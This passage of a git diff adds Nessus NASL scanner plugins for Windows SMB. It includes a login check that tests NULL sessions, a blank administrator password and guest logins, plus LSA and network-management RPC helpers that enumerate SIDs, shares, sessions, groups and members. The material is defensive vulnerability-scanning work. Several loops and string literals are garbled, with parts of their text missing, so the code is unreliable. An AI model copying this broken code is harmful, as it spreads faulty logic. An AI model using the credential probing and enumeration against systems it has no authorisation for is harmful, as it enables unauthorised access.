get_kb_item("SMB/password_filled/" + i ); + if (p) + p = ereg_replace(pattern:"([^ ]*) *$", string:p, replace:"\1"); + else + p = ""; + + d = get_kb_item("SMB/domain_filled/" + i ); + if (d) + d = ereg_replace(pattern:"([^ ]*) *$", string:d, replace:"\1"); + + if ( l ) + { + login_has_been_supplied ++; + logins[i] = l; + passwords[i] = p; + domains[i] = d; + } + else break; +} + +smb_domain = string(get_kb_item("SMB/workgroup")); + +if (smb_domain) +{ + smb_domain = ereg_replace(pattern:"([^ ]*) *$", string:smb_domain, replace:"\1"); +} + +hole = 0; +rand_lg = string ( "nessus", rand(), rand(), rand() ); +rand_pw = string ( "nessus", rand(), rand(), rand() ); + + +valid_logins = make_list(); +valid_passwords = make_list(); + + + +if ( login(lg:NULL, pw:NULL, dom:NULL) == TRUE ) + null_session = TRUE; +else + null_session = FALSE; + + +if ( ! supplied_logins_only ) +{ + if ( ( login(lg:"administrator", pw:NULL, dom:NULL) == TRUE ) && ( session_is_guest() == 0 ) ) + admin_no_pw = TRUE; + else + admin_no_pw = FALSE; + + if ( ( login(lg:rand_lg, pw:rand_pw, dom:NULL) == TRUE ) ) + { + any_login = TRUE; + set_kb_item(name:"SMB/any_login", value:TRUE); + } + else + any_login = FALSE; +} + +supplied_login_is_correct = FALSE; + +p_type = get_kb_item("SMB/password_type"); + +for ( i = 0 ; logins[i] && supplied_login_is_correct == FALSE ; i ++ ) +{ + user_login = logins[i]; + k_password = user_password = passwords[i]; + user_domain = domains[i]; + + if (p_type == 0) + { + lm = ntlm = NULL; + } + if (p_type == 1) + { + lm = hex2raw2(s:tolower(user_password)); + ntlm = user_password = NULL; + } + else if (p_type == 2) + { + ntlm = hex2raw2(s:tolower(user_password)); + lm = user_password = NULL; + } + + if ((login(lg:user_login, pw:user_password, dom:user_domain, lm:lm, ntlm:ntlm) == TRUE ) && ( session_is_guest() == 0 )) + { + supplied_login_is_correct = TRUE; + smb_domain = user_domain; + } + else + { + if (tolower(user_domain) != tolower(smb_domain)) + { + if ((login(lg:user_login, pw:user_password, dom:smb_domain, lm:lm, ntlm:ntlm) == TRUE ) && ( session_is_guest() == 0 )) + { + supplied_login_is_correct = TRUE; + } + } + + if (!supplied_login_is_correct) + { + if ((login(lg:user_login, pw:user_password, dom:NULL, lm:lm, ntlm:ntlm) == TRUE ) && ( session_is_guest() == 0 )) + { + supplied_login_is_correct = TRUE; + smb_domain = NULL; + } + } + + } +} + + +if ( null_session || supplied_login_is_correct || admin_no_pw || any_login ) +{ + if ( null_session != 0 ) + { + set_kb_item(name:"SMB/null_session_enabled", value:TRUE); + report = string("- NULL sessions are enabled on the remote host\n"); + } + + if ( supplied_login_is_correct ) + { + if ( ! k_password ) k_password = ""; + + set_kb_item(name:"SMB/login", value:user_login); + set_kb_item(name:"SMB/password", value:k_password); + if ( smb_domain != NULL ) set_kb_item(name:"SMB/domain", value:smb_domain); + report += string("- The SMB tests will be done as '", user_login, "'/'******'\n"); + } + + if ( admin_no_pw && !any_login) + { + set_kb_item(name:"SMB/blank_admin_password", value:TRUE); + report += string("- The 'administrator' account has no password set\n"); + hole = 1; + if ( supplied_login_is_correct == FALSE ) + { + set_kb_item(name:"SMB/login", value:"administrator"); + set_kb_item(name:"SMB/password", value:""); + set_kb_item(name:"SMB/domain", value:""); + } + } + + if ( any_login ) + { + set_kb_item(name:"SMB/guest_enabled", value:TRUE); + report += string("- Remote users are authenticated as 'Guest'\n"); + if (( supplied_login_is_correct == FALSE ) && ( admin_no_pw == 0 )) + { + set_kb_item(name:"SMB/login", value:rand_lg); + set_kb_item(name:"SMB/password", value:rand_pw); + set_kb_item(name:"SMB/domain", value:""); + } + } + + if (null_session) + { + if (( supplied_login_is_correct == FALSE ) && ( admin_no_pw == 0 ) && ( any_login == FALSE )) + { + set_kb_item(name:"SMB/login", value:""); + set_kb_item(name:"SMB/password", value:""); + set_kb_item(name:"SMB/domain", value:""); + } + } + + + if ( supplied_login_is_correct == FALSE && admin_no_pw == 0 && login_has_been_supplied != 0 ) + set_kb_item(name:"HostLevelChecks/smb/failed", value:TRUE); + + if ( supplied_login_is_correct || admin_no_pwd ) + set_kb_item(name:"Host/local_checks_enabled", value:TRUE); + + + report = string (desc["english"], + "\n\nPlugin output :\n\n", + report); + security_note(port:port, data:report); +} diff --git a/content/WinVA/plugins/smb_lsa.inc b/content/WinVA/plugins/smb_lsa.inc new file mode 100644 index 0000000..da0cd69 --- /dev/null +++ b/content/WinVA/plugins/smb_lsa.inc @@ -0,0 +1,719 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_lsa.inc +# $Revision: 1.1 $ +# + + +#==================================================================# +# Section 9. LSA API # +#==================================================================# + + + +#---------------------------------------------------------# +# Function : LsaOpenPolicy # +# Description : Open LSA Policy # +# Note : access mode is optionnal # +#---------------------------------------------------------# + +function LsaOpenPolicy (desired_access) +{ + local_var fid, ret, data, type, resp, rep, daccess; + + if (!isnull (desired_access)) + daccess = desired_access; + else + daccess = 0x000f0fff; + + fid = bind_pipe (pipe:"\lsarpc", uuid:"12345778-1234-abcd-ef00-0123456789ab", vers:0); + if (isnull (fid)) + return NULL; + + data = class_parameter (ref_id:0x00020000, name:"\\" + session_get_hostname ()) + + + # LSA_OBJECT_ATTRIBUTES (NULL) + raw_dword (d:0) + # length + raw_dword (d:0) + # RootDirectory (HANDLE) + raw_dword (d:0) + # ObjectName (NULL) + raw_dword (d:0) + # Attributes + raw_dword (d:0) + # SecurityDescriptor (NULL Pointer) + raw_dword (d:0) + # SecurityQualityOfService (NULL Pointer) + + # Desired Access + raw_dword (d:daccess) ; + data = dce_rpc_pipe_request (fid:fid, code:OPNUM_LSAOPENPOLICY, data:data); + if (!data) + return NULL; + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) != 24)) + return NULL; + + resp = get_dword (blob:rep, pos:20); + if (resp != STATUS_SUCCESS) + return NULL; + + ret = NULL; + ret[0] = substr (rep, 0, 19); + ret[1] = fid; + ret[2] = 1; + + return ret; +} + + +#---------------------------------------------------------# +# Function : LsaQueryInformationPolicy # +# Description : Query Policy Information # +# # +# Supports : PolicyAccountDomainInformation # +# PolicyPrimaryDomainInformation # +# # +# return : ret[0] hostname/domain # +# ret[1] raw sid # +#---------------------------------------------------------# + +function LsaQueryInformationPolicy (handle, level) +{ + local_var data, resp, rep, name, ret, len, ref_id, pad, length, size, i; + local_var max_count, offset, actual_count, hostname, pos, count, sid, sid_ref_id, auditing; + + data = handle[0] + # Handle + raw_word (w:level) ; # Info level + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_LSAQUERYINFO, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 10)) + return NULL; + + resp = get_dword (blob:rep, pos:strlen(rep)-4); + if (resp != STATUS_SUCCESS) + return NULL; + + + ref_id = get_dword (blob:rep, pos:0); + level = get_word (blob:rep, pos:4); + + + if ((level == PolicyAccountDomainInformation) || (level == PolicyPrimaryDomainInformation)) + { + + if (strlen(rep) < 36) + return NULL; + + # POLICY_ACCOUNT_DOMAIN_INFO + pad = get_word (blob:rep, pos:6); + + # size is the total size of the remote buffer, length is data length in the buffer + length = get_word (blob:rep, pos:8); + size = get_word (blob:rep, pos:10); + + # ref_id = get_dword (blob:rep, pos:12); # string refid + sid_ref_id = get_dword (blob:rep, pos:16); # sid refid + + # LSA_UNICODE_STRING + max_count = get_dword (blob:rep, pos:20); + offset = get_dword (blob:rep, pos:24); + actual_count = get_dword (blob:rep, pos:28); + + if (strlen(rep) < 36 + length) + return NULL; + + hostname = get_string2 (blob:rep, pos:32, len:length, _type:UNICODE_STRING); + + while ((length % 4) != 0) + length ++; + + pos = 32 + length; + + if (sid_ref_id != 0) + { + # Domain SID + count = get_dword (blob:rep, pos:pos); + sid = substr (rep, pos+4, strlen(rep) - 5); + } + else + sid = NULL; + + ret = NULL; + ret[0] = hostname; + ret[1] = sid; + + return ret; + } + + if (level == PolicyAuditEventsInformation) + { + if (strlen(rep) != 64) + return NULL; + + # values are filled with 0 (no auditing) if auditing is set to 0 + auditing = get_dword (blob:rep, pos:8); + #if (auditing == 0) + # return NULL; + + ref_id = get_dword (blob:rep, pos:12); + actual_count = get_dword (blob:rep, pos:16); + max_count = get_dword (blob:rep, pos:20); + + if (actual_count != 9) + return NULL; + + ret = NULL; + for (i=0; i<9; i++) + ret[i] = get_dword (blob:rep, pos:24+i*4); + + return ret; + } +} + + +#---------------------------------------------------------# +# Function : LsaQueryDomainInformationPolicy # +# Description : Query Domain Policy Information # +# # +# Supports : PolicyDomainKerberosTicketInformation # +# # +# return : ret[0] - user logon restrictions # +# ret[1] - unknown # +# ret[2] - service ticket lifetime (sec) # +# ret[3] - user ticket lifetime (sec) # +# ret[4] - user ticket renewal time (sec) # +# ret[5] - clock sync tolerance (sec) # +#---------------------------------------------------------# + +function LsaQueryDomainInformationPolicy (handle, level) +{ + local_var data, rep, resp, ref_id, ret; + + data = handle[0] + # Handle + raw_word (w:level) ; # Info level + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_LSAQUERYDOMAININFO, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 10)) + return NULL; + + resp = get_dword (blob:rep, pos:strlen(rep)-4); + if (resp != STATUS_SUCCESS) + return NULL; + + + ref_id = get_dword (blob:rep, pos:0); + level = get_word (blob:rep, pos:4); + + + if (level == PolicyDomainKerberosTicketInformation) + { + if (strlen(rep) != 60) + return NULL; + + ret = NULL; + ret[0] = get_dword (blob:rep, pos:8); + ret[1] = get_dword (blob:rep, pos:12); + ret[2] = convert_time_to_sec(time:substr(rep, 16, 23), no_zero:TRUE); + ret[3] = convert_time_to_sec(time:substr(rep, 24, 31), no_zero:TRUE); + ret[4] = convert_time_to_sec(time:substr(rep, 32, 39), no_zero:TRUE); + ret[5] = convert_time_to_sec(time:substr(rep, 40, 47), no_zero:TRUE); + + return ret; + } + + return NULL; +} + + +#---------------------------------------------------------# +# Function : LsaLookupSid # +# Description : Translate PSID to UserNames # +# array of sid (InformationPolicy sid) # +# # +# Return : array of sid_type + name # +# sid_type = raw_dword # +#---------------------------------------------------------# + +function LsaLookupSid (handle, sid_array) +{ + local_var data, resp, rep, name, ret, len, ref_id, level, pad, length, size; + local_var max_count, offset, actual_count, hostname, pos, count, sid, sid_ref_id; + local_var names, ref_idm, name_length, name_size, name_ref_id, sid_type, index, unknown; + local_var sid_count, i; + + ref_id = 0x00020000; + + data = handle[0] + # Handle + + # PSID Array + raw_dword (d:max_index (sid_array)) + # number of sid in PSID Array + raw_dword (d:ref_id) + # Referent ID + raw_dword (d:max_index (sid_array)) ; # max_count + + ref_id++; + + # ref_id + foreach sid (sid_array) + { + data += raw_dword (d:ref_id); + + ref_id++; + } + + foreach sid (sid_array) + { + count = ord(sid[1]); + + data += raw_dword (d:count) + + sid ; + } + + data += raw_dword (d:0) + # count = 0 + raw_dword (d:0) + # NULL pointer (LSA_TRANSLATED_NAMES) + + raw_dword (d:1) + # Level (nothing else seems to work) + raw_dword (d:0) ; # Num mapped ? + # raw_dword (d:0) + # Unknown + # raw_dword (d:2) ; # Unknown + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_LSALOOKUPSID, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 20)) + return NULL; + + resp = get_dword (blob:rep, pos:strlen(rep)-4); + if ((resp != STATUS_SUCCESS) && (resp != STATUS_SOME_NOT_MAPPED)) + return NULL; + + # LSA REF DOMAIN LIST Pointer + ref_id = get_dword (blob:rep, pos:0); + count = get_dword (blob:rep, pos:4); + + # Trust information array + ref_id = get_dword (blob:rep, pos:8); + max_count = get_dword (blob:rep, pos:12); + count = get_dword (blob:rep, pos:16); + + pos = 20; + + # for each domain info + pos = pos + count*12; + + for (i=0; i total_len) + return NULL; + + ref_id = get_dword (blob:rep, pos:pos); + pos += 4; + } + + sid_tab = NULL; + for (i=0; i total_len) + return NULL; + + sid_count = get_dword (blob:rep, pos:pos); + pos += 4; + + if ((pos+8+sid_count*4-1) > total_len) + return NULL; + + sid_tab[i] = substr (rep, pos, pos+8+sid_count*4-1); + + pos = pos+8+sid_count*4; + } + + return sid_tab; +} + + +#---------------------------------------------------------# +# Function : LsaQuerySecurityObject # +# Description : Return security ACLs of the object # +# Return : security descriptor # +#---------------------------------------------------------# + +function LsaQuerySecurityObject (handle, type) +{ + local_var data, rep, code, ret, resp, ref_id, size; + + data = handle[0] + # Handle + raw_dword (d:type) ; # Info level + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_LSASECURITYOBJECT, data:data); + if (!data) + return NULL; + + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (!rep || (strlen (rep) < 16)) + return NULL; + + resp = get_dword (blob:rep, pos:strlen(rep)-4); + if (resp != STATUS_SUCCESS) + return NULL; + + + ref_id = get_dword (blob:rep, pos:0); + if (isnull(ref_id)) + return NULL; + + size = get_dword (blob:rep, pos:4); + ref_id = get_dword (blob:rep, pos:8); + if (isnull(ref_id)) + return NULL; + + size = get_dword (blob:rep, pos:12); + if (strlen(rep) < (size+16)) + return NULL; + + return parse_security_descriptor (blob:substr(rep, 16, strlen(rep)-5)); +} + + +#---------------------------------------------------------# +# Function : LsaClose # +# Description : Close lsa handle # +# Return : 1 on success # +#---------------------------------------------------------# + +function LsaClose (handle) +{ + local_var data, rep, code, ret; + + code = NULL; + + data = dce_rpc_pipe_request (fid:handle[1], code:OPNUM_LSACLOSE, data:handle[0]); + if (data) + { + rep = dce_rpc_parse_response (fid:handle[1], data:data); + if (rep && (strlen (rep) == 24)) + { + # NULL handle (useless) + code + # Return code + code = get_dword (blob:rep, pos:20); + } + } + + if (handle[2] == 1) + ret = smb_close (fid:handle[1]); + + if (isnull (code) || (code != STATUS_SUCCESS) || (ret != 1)) + return NULL; + + return 1; +} + diff --git a/content/WinVA/plugins/smb_nativelanman.nasl b/content/WinVA/plugins/smb_nativelanman.nasl new file mode 100644 index 0000000..71173ca --- /dev/null +++ b/content/WinVA/plugins/smb_nativelanman.nasl @@ -0,0 +1,93 @@ +# +# (C) Tenable Network Security +# + + desc["english"] = " +Synopsis : + +It is possible to obtain information about the remote operating +system. + +Description : + +It is possible to get the remote operating system name and +version (Windows and/or Samba) by sending an authentication +request to port 139 or 445. + +Risk factor : + +None"; + + +if(description) +{ + script_id(10785); + script_version ("$Revision: 1.29 $"); + name["english"] = "SMB NativeLanMan"; + + script_name(english:name["english"]); + + script_description(english:desc["english"]); + + summary["english"] = "Extracts the remote native lan manager name"; + script_summary(english:summary["english"]); + + script_category(ACT_GATHER_INFO); + + script_copyright(english:"This script is Copyright (C) 2005 Tenable Network Security"); + family["english"] = "Windows"; + script_family(english:family["english"]); + + script_dependencies("netbios_name_get.nasl", "samba_detect.nasl"); + script_require_ports(139,445); + exit(0); +} + +include ("smb_func.inc"); + +port = kb_smb_transport(); + +if ( ! get_port_state(port) ) exit(0); +soc = open_sock_tcp(port); +if ( ! soc ) exit(0); + +name = kb_smb_name(); +session_init(socket:soc, hostname:name); + +r = NetUseAdd(share:"IPC$"); +if (r == 1) + NetUseDel(); + +if (!isnull(Session[17])) +{ + report = string( + "The remote Operating System is : ", Session[17], + "\nThe remote native lan manager is : ", Session[18], + "\nThe remote SMB Domain Name is : ", Session[19], "\n" + ); + + if (!get_kb_item("SMB/workgroup") && Session[19] ) + { + set_kb_item (name:"SMB/workgroup", value:Session[19]); + } + + if ( Session[18] ) + set_kb_item(name:"SMB/NativeLanManager", value:Session[18]); + + os = Session[17]; + if ("Windows NT" >< os) + os = "Windows 4.0"; + else if ("Windows Server 2003" >< os) + os = "Windows 5.2"; + else if ("Vista" >< os) + os = "Windows 6.0"; + + if ( os ) + set_kb_item(name:"Host/OS/smb", value:os); + + report = string (desc["english"], + "\n\nPlugin output :\n\n", + report); + + security_note(port:port, data:report); +} diff --git a/content/WinVA/plugins/smb_net.inc b/content/WinVA/plugins/smb_net.inc new file mode 100644 index 0000000..f0711fe --- /dev/null +++ b/content/WinVA/plugins/smb_net.inc @@ -0,0 +1,872 @@ +# -*- Fundamental -*- +# +# +# (C) 2006 Tenable Network Security +# +# This script is released under one of the Tenable Script Licenses and may not +# be used from within scripts released under another license without the +# authorization from Tenable Network Security Inc. +# +# See the following licenses for details : +# http://www.nessus.org/plugins/RegisteredFeed.pdf +# http://www.nessus.org/plugins/TenableCommercial.pdf +# http://www.nessus.org/plugins/DirectFeed.pdf +# http://www.nessus.org/plugins/DirectFeedCommercial.pdf +# +# +# @NOGPL@ +# +# smb_net.inc +# $Revision: 1.1 $ +# + +#==================================================================# +# Section 6b. Network Management API # +#==================================================================# + + + +function NetGetInfo (pipe, uuid, vers, level, opnum) +{ + local_var fid, data, rep, resp, info_level, info_struct, ret; + + fid = bind_pipe (pipe:pipe, uuid:uuid, vers:vers); + + data = class_parameter (ref_id:0x00020000, name:"\\" + session_get_hostname ()) + + + raw_dword (d:level) ; # Info level + + data = dce_rpc_pipe_request (fid:fid, code:opnum, data:data); + if (!data) + { + smb_close (fid:fid); + return NULL; + } + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) < 8)) + { + smb_close (fid:fid); + return NULL; + } + + info_level = get_dword (blob:rep, pos:0); + info_struct = substr (rep, 4, strlen(rep) - 5); + + resp = get_dword (blob:rep, pos:strlen(rep) - 4); + if (resp != STATUS_SUCCESS) + { + smb_close (fid:fid); + return NULL; + } + + ret = NULL; + ret[0] = info_level; + ret[1] = info_struct; + + smb_close (fid:fid); + + return ret; +} + + + +function NetEnum (pipe, level, uuid, vers, opnum) +{ + local_var fid, name, len, data, rep, resp, ret; + + fid = bind_pipe (pipe:pipe, uuid:uuid, vers:vers); + + data = class_parameter (ref_id:0x00020000, name:"\"+session_get_hostname()) + + + raw_dword (d:level) + # Info level + + # share info container + raw_dword (d:level) + # Share Info level (multi share request with different level ?) + raw_dword (d:0x00020004) + # Referent ID + raw_dword (d:0) + # number of entries + raw_dword (d:0) + # share info array (NULL) + + raw_dword (d:0xFFFFFFFF) + # preferred length + + # Enum handle + buffer_parameter (ref_id:0x00020008, size:0); + + data = dce_rpc_pipe_request (fid:fid, code:opnum, data:data); + if (!data) + { + smb_close (fid:fid); + return NULL; + } + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) < 24)) + { + smb_close (fid:fid); + return NULL; + } + + resp = get_dword (blob:rep, pos:strlen(rep) - 4); + if (resp != STATUS_SUCCESS) + { + smb_close (fid:fid); + return NULL; + } + + ret = substr (rep, 0, strlen(rep)-4-1); + + smb_close (fid:fid); + + return ret; +} + + + + +#---------------------------------------------------------# +# Function : NetUseAdd # +# Description : Connects to the remote share. # +# If no share is specified authenticates # +# for futur use (anonymous if no login) # +# Return : Return 1 on success # +# -1 if login failed # +# 0 if share connection failed # +#---------------------------------------------------------# + +function NetUseAdd (login,password,domain,share) +{ + local_var ret; + + if (!session_is_authenticated ()) + { + if (netbios_session_request () != TRUE) + return -1; + + if (smb_login (login:login, password:password, domain:domain) != 1) + return -1; + else + session_set_authenticated(); + } + + if (!isnull (share)) + { + ret = smb_tree_connect_and_x (share:share); + if (!ret) + return 0; + } + + return 1; +} + + + +#---------------------------------------------------------# +# Function : NetUseDel # +# Description : Delete connection to the remote share. # +# Optional : close. If close == TRUE or not specified # +# logoff and close socket # +#---------------------------------------------------------# + +function NetUseDel (close) +{ + if (smb_tree_disconnect () != 1) + return -1; + + if (isnull(close) || (close == TRUE)) + { + if (session_is_authenticated ()) + { + smb_logoff_andx (); + } + close (session_get_socket()); + } + + return 1; +} + + +#---------------------------------------------------------# +# Function : NetServerGetInfo # +# Description : Return host information # +#---------------------------------------------------------# + +function NetServerGetInfo (level) +{ + return NetGetInfo (pipe:"\srvsvc", uuid:"4b324fc8-1670-01d3-1278-5a47bf6ee188", vers:3, level:level, opnum:OPNUM_SERVERGETINFO); +} + + + +#---------------------------------------------------------# +# Function : NetWkstaGetInfo # +# Description : Return workstation information # +# Return : array of level info # +# [0] = platform_id (DWORD) # +# [1] = hostname (STRING) # +# [2] = domainname (STRING) # +# [3] = major (DWORD) # +# [4] = minor (DWORD) # +# [5] = lanroot (STRING) - level 101-102 # +# [6] = logged users (DWORD) - level 102 # +#---------------------------------------------------------# + +function NetWkstaGetInfo (level) +{ + local_var ret, level, ref_id, rep, platform_id, major, minor, pos, logged, hostname, domainname, lanrootname, actual_count; + + ret = NetGetInfo(pipe:"\wkssvc", uuid:"6bffd098-a112-3610-9833-46c3f87e345a", vers:1, level:level, OPNUM_WKSTAGETINFO); + if (isnull(ret)) + return NULL; + + level = ret[0]; + rep = ret[1]; + + if ((level != 100) && (level != 101) && (level != 102)) + return NULL; + + if (strlen(rep) < 24) + return NULL; + + ref_id = get_dword (blob:rep, pos:0); + platform_id = get_dword (blob:rep, pos:4); + # server_id = get_dword (blob:rep, pos:8); + # host_id = get_dword (blob:rep, pos:12); + major = get_dword (blob:rep, pos:16); + minor = get_dword (blob:rep, pos:20); + pos = 24; + if (level >= 101) + { + # lan_id = get_dword (blob:rep, pos:pos); + pos += 4; + } + if (level == 102) + { + if (strlen(rep) < 36) + return NULL; + logged = get_dword (blob:rep, pos:pos); + pos += 4; + } + + # Wksta is unicode + + # hostname + if (strlen(rep) < pos + 12 + 4) + return NULL; + actual_count = get_dword(blob:rep, pos:pos+8) * 2; + if (strlen(rep) < pos + actual_count + 4) + return NULL; + hostname = get_string2 (blob:rep, pos:pos+12, len:actual_count, _type:UNICODE_STRING); + pos += actual_count + 12; + if (actual_count%4) + pos += 2; + + # Domain name + if (strlen(rep) < pos + 12 + 4) + return NULL; + actual_count = get_dword(blob:rep, pos:pos+8) * 2; + if (strlen(rep) < pos + actual_count + 4) + return NULL; + domainname = get_string2 (blob:rep, pos:pos+12, len:actual_count, _type:UNICODE_STRING); + pos += actual_count + 12; + if (actual_count%4) + pos += 2; + + if (level >= 101) + { + # Lan root + if (strlen(rep) < pos + 12 + 4) + return NULL; + actual_count = get_dword(blob:rep, pos:pos+8) * 2; + if (strlen(rep) < pos + actual_count + 4) + return NULL; + lanrootname = get_string2 (blob:rep, pos:pos+12, len:actual_count, _type:UNICODE_STRING); + pos += actual_count + 12; + if (actual_count%4) + pos += 2; + } + + ret = NULL; + ret[0] = platform_id; + ret[1] = hostname; + ret[2] = domainname; + ret[3] = major; + ret[4] = minor; + if (level >= 101) + ret[5] = lanrootname; + if (level == 102) + ret[6] = logged; + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetSessionEnum # +# Description : Return session information # +#---------------------------------------------------------# + +function NetSessionEnum (level, computer, user) +{ + local_var fid, name, len, data, rep, resp, ret, comp, _user; + + if (!isnull(computer)) + comp = class_parameter (ref_id:0x00020004, name:computer); + else + comp = raw_dword (d:0); + + if (!isnull(user)) + _user = class_parameter (ref_id:0x00020008, name:user); + else + _user = raw_dword (d:0); + + + fid = bind_pipe (pipe:"\srvsvc", uuid:"4b324fc8-1670-01d3-1278-5a47bf6ee188", vers:3); + + data = class_parameter (ref_id:0x00020000, name:"\"+session_get_hostname()) + + comp + # computer name + _user + # user name + raw_dword (d:level) + # Info level + + # share info container + raw_dword (d:level) + # Share Info level (multi share request with different level ?) + raw_dword (d:0x00020004) + # Referent ID + raw_dword (d:0) + # number of entries + raw_dword (d:0) + # share info array (NULL) + + raw_dword (d:0xFFFFFFFF) + # preferred length + + # Enum handle + buffer_parameter (ref_id:0x00020008, size:0); + + data = dce_rpc_pipe_request (fid:fid, code:OPNUM_NETSESSENUM, data:data); + if (!data) + { + smb_close (fid:fid); + return NULL; + } + + # response structure : + # Policy handle (20 bytes) + # return code (dword) + + rep = dce_rpc_parse_response (fid:fid, data:data); + if (!rep || (strlen (rep) < 24)) + { + smb_close (fid:fid); + return NULL; + } + + resp = get_dword (blob:rep, pos:strlen(rep) - 4); + if (resp != STATUS_SUCCESS) + { + smb_close (fid:fid); + return NULL; + } + + ret = substr (rep, 0, strlen(rep)-4-1); + + smb_close (fid:fid); + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetShareEnum # +# Description : Return host's shares information # +# level : SHARE_INFO_x (x = 0, 1, 2, 502) # +#---------------------------------------------------------# + +function NetShareEnum (level) +{ + local_var rep, info_level, ref_id, num, max_count, actual_count, name, pos, shares, i, offset, comment; + + rep = NetEnum (pipe:"\srvsvc", uuid:"4b324fc8-1670-01d3-1278-5a47bf6ee188", vers:3, level:level, opnum:OPNUM_SHAREENUM); + if (!rep || (strlen (rep) < 24)) + return NULL; + + shares = NULL; + + info_level = get_dword (blob:rep, pos:0); + + if (info_level == SHARE_INFO_0) + { + info_level = get_dword (blob:rep, pos:4); + ref_id = get_dword (blob:rep, pos:8); + num = get_dword (blob:rep, pos:12); + + #SHARE_INFO_0 Array + ref_id = get_dword (blob:rep, pos:16); + max_count = get_dword (blob:rep, pos:20); + + # don't parse each share ref_id + pos = 24 + max_count*4; + + for (i = 0; i 0) && (offset < strlen(data))) + comment = get_string (blob:data, pos:offset, _type:ASCII_STRING); + else + comment = ""; + ret[i] = substr (data, 8+i*26, 8+i*26+25) + comment; + } + } + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetUserGetGroups # +# Description : Return user's group # +#---------------------------------------------------------# + +function NetUserGetGroups (user) +{ + local_var ret, handle, domains, sid, handle2, rid, uhandle, rids; + + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + domains = SamEnumerateDomainsInSamServer (handle:handle); + if (!isnull(domains)) + { + sid = SamLookupDomainInSamServer (handle:handle, domain:domains[0]); + if (!isnull(sid)) + { + handle2 = SamOpenDomain (handle:handle, sid:sid, access:0x200); + if (!isnull (handle2)) + { + rid = SamLookupNamesInDomain (handle:handle2, user:user); + if (!isnull(rid)) + { + uhandle = SamOpenUser (handle:handle2, rid:rid, access:0x100); + if (!isnull(uhandle)) + { + rids = SamGetGroupsForUser (handle:uhandle); + if (!isnull (rids)) + # ret = SamLookupIdsInDomain (handle:handle2, ids:rids); + ret = rids; + + SamCloseHandle(handle:uhandle); + } + } + } + + SamCloseHandle(handle:handle2); + } + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetUserGetLocalGroups # +# Description : Return user's local group # +#---------------------------------------------------------# + +function NetUserGetLocalGroups (user) +{ + local_var ret, handle, domains, sid, handle2, rid, uhandle, rids, builtsid, handle3, aliases; + + builtsid = raw_string (0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00); + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + domains = SamEnumerateDomainsInSamServer (handle:handle); + if (!isnull(domains)) + { + sid = SamLookupDomainInSamServer (handle:handle, domain:domains[0]); + if (!isnull(sid)) + { + handle2 = SamOpenDomain (handle:handle, sid:sid, access:0x280); + if (!isnull (handle2)) + { + handle3 = SamOpenDomain (handle:handle, sid:builtsid, access:0x280); + if (!isnull (handle3)) + { + rid = SamLookupNamesInDomain (handle:handle2, user:user); + if (!isnull(rid)) + { + uhandle = SamOpenUser (handle:handle2, rid:rid, access:0x100); + if (!isnull(uhandle)) + { + rids = SamGetGroupsForUser (handle:uhandle); + if (!isnull (rids)) + { + aliases = SamGetAliasMemberShip (handle:handle2, sid:sid, rids:rids, urid:rid); + if (isnull(aliases)) + aliases = SamGetAliasMemberShip (handle:handle3, sid:sid, rids:rids, urid:rid); + + if (!isnull(aliases)) + # ret = SamLookupIdsInDomain (handle:handle2, ids:rids); + ret = aliases; + } + + SamCloseHandle(handle:uhandle); + } + } + } + } + + SamCloseHandle(handle:handle2); + } + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + + +#---------------------------------------------------------# +# Function : NetLocalGroupGetMembers # +# Description : Return local group members # +#---------------------------------------------------------# + +function NetLocalGroupGetMembers (group) +{ + local_var ret, handle, domains, sid, handle2, rid, handle3, names, lsa, members, builtsid; + + builtsid = raw_string (0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x05,0x20,0x00,0x00,0x00); + ret = NULL; + + handle = SamConnect2 (); + if (!isnull(handle)) + { + handle2 = SamOpenDomain (handle:handle, sid:builtsid, access:0x200); + if (!isnull (handle2)) + { + rid = SamLookupNamesInDomain (handle:handle2, user:group); + if (!isnull(rid)) + { + handle3 = SamOpenAlias (handle:handle2, rid:rid, access:0x2000C); + if (!isnull(handle3)) + { + members = SamGetMembersInAlias (handle:handle3); + if (!isnull(members)) + { + lsa = LsaOpenPolicy (desired_access:0x20801); + if (!isnull(lsa)) + { + names = LsaLookupSid (handle:lsa, sid_array:members); + if (!isnull(names)) + { + ret = names; + } + + LsaClose (handle:lsa); + } + } + + SamCloseHandle(handle:handle3); + } + } + + SamCloseHandle(handle:handle2); + } + + SamCloseHandle(handle:handle); + } + + return ret; +} + + + +#---------------------------------------------------------# +# Function : NetGroupGetUsers # +# Description : Return group members # +#---------------------------------------------------------# + +function NetGroupGetUsers (group) +{ 